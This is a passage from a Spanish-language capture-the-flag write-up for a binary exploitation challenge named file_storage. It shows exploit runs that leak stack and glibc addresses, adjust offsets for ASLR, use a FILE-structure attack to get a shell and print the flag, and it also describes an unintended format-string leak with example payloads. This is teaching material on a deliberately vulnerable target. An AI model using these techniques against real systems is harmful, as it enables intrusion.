[+] Starting local process './file_storage': pid 1674317
[*] Stopped process './file_storage' (pid 1674317)
[+] Starting local process './file_storage': pid 1674319
[+] Filename: QJ.txt
[*] Stopped process './file_storage' (pid 1674319)
[+] Starting local process './file_storage': pid 1674377
[+] Stack leak: 0x7fffffffbf60
[*] Leaked puts() address: 0x7ffff7e5b420
[+] Glibc base address: 0x7ffff7dd7000
[*] Switching to interactive mode
Fatal error: glibc detected an invalid stdio handle
[*] Got EOF while reading in interactive
$
No obtenemos un shell, pero podemos ver que la fuga de la pila es diferente de antes, actualicemos el offset otra vez:
$ python3 -q
>>> hex(0x7fffffffe608 - 0x7fffffffbf60)
'0x26a8'
Y ahora funciona de nuevo:
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1676781
[*] Process './file_storage' stopped with exit code 0 (pid 1676781)
[+] Starting local process './file_storage': pid 1676803
[*] Stopped process './file_storage' (pid 1676803)
[+] Starting local process './file_storage': pid 1676805
[+] Filename: JB.txt
[*] Stopped process './file_storage' (pid 1676805)
[+] Starting local process './file_storage': pid 1676863
[+] Stack leak: 0x7fffffffbe90
[*] Leaked puts() address: 0x7ffff7e5b420
[+] Glibc base address: 0x7ffff7dd7000
[*] Switching to interactive mode
$ ls
file_storage ld-linux-x86-64.so.2 libc.so.6 solve.py
Ahora que solo dependemos de fugas y offsets, podemos habilitar ASLR y todo debería funcionar… pero no funciona.
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for rocky:
2
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1679645
[*] Process './file_storage' stopped with exit code 0 (pid 1679645)
[+] Starting local process './file_storage': pid 1679722
[*] Stopped process './file_storage' (pid 1679722)
[+] Starting local process './file_storage': pid 1679724
[+] Filename: RB.txt
[*] Stopped process './file_storage' (pid 1679724)
[+] Starting local process './file_storage': pid 1679782
[+] Stack leak: 0x7ffd38a35560
[*] Leaked puts() address: 0x7fba40d38420
[+] Glibc base address: 0x7fba40cb4000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Echando un vistazo nuevamente a los payloads del ataque de estructura FILE
, hemos puesto el valor de _lock
hard-coded (0x405790
). El valor de _lock
solo debe ser una dirección de escritura válida, por lo que podemos usar la fuga de pila para ese propósito. Si corregimos este problema, el exploit funcionará correctamente:
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1683171
[*] Process './file_storage' stopped with exit code 0 (pid 1683171)
[+] Starting local process './file_storage': pid 1683193
[*] Stopped process './file_storage' (pid 1683193)
[+] Starting local process './file_storage': pid 1683195
[+] Filename: DK.txt
[*] Stopped process './file_storage' (pid 1683195)
[+] Starting local process './file_storage': pid 1683253
[+] Stack leak: 0x7fff4a9f16c0
[*] Leaked puts() address: 0x7f63178c2420
[+] Glibc base address: 0x7f631783e000
[*] Switching to interactive mode
$ ls
file_storage ld-linux-x86-64.so.2 libc.so.6 solve.py
Flag
Ejecutemos el exploit en la instancia remota:
$ python3 solve.py 127.0.0.1:1337
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Closed connection to 127.0.0.1 port 1337
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Closed connection to 127.0.0.1 port 1337
[+] Opening connection to 127.0.0.1 on port 1337: Done
[+] Filename: VD.txt
[*] Closed connection to 127.0.0.1 port 1337
[+] Opening connection to 127.0.0.1 on port 1337: Done
[+] Stack leak: 0x7ffcd7178810
[*] Leaked puts() address: 0x7fd03a2cf420
[+] Glibc base address: 0x7fd03a24b000
[*] Switching to interactive mode
$ ls
file_storage
flag.txt
run_challenge.sh
$ cat flag.txt
HTB{B0Fs_4nd_F0rm4ts_4r3_l4m3_1f_y0u_h4v3_FS0P!}
El exploit completo se puede encontrar aquí: solve.py
.
Vía no intencionada
La forma prevista de obtener una fuga de memoria de Glibc era usar puts
y atoi
. Había una forma no deseada de filtrar Glibc usando la vulnerabilidad de Format String. Aunque agregué la limitación txt
para que el payload fuera del tipo %1$ptxt
, parece que %12$txt
también funciona porque %tx
es un especificador de formato válido (más información en Wikipedia):
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: %10$txt
Error: File not found. Please try again
Debug: /tmp/0
1. Read contents from a file
2. Write data into a random file
3. Exit
>
Entonces, utilizando desde %1$ptx
hasta %9$ptx
, las únicas fugas útiles eran las direcciones de pila. Pero desde %10$txt
hasta %99$txt
, había algunas direcciones Glibc, por lo que no era necesario usar atoi
y puts
.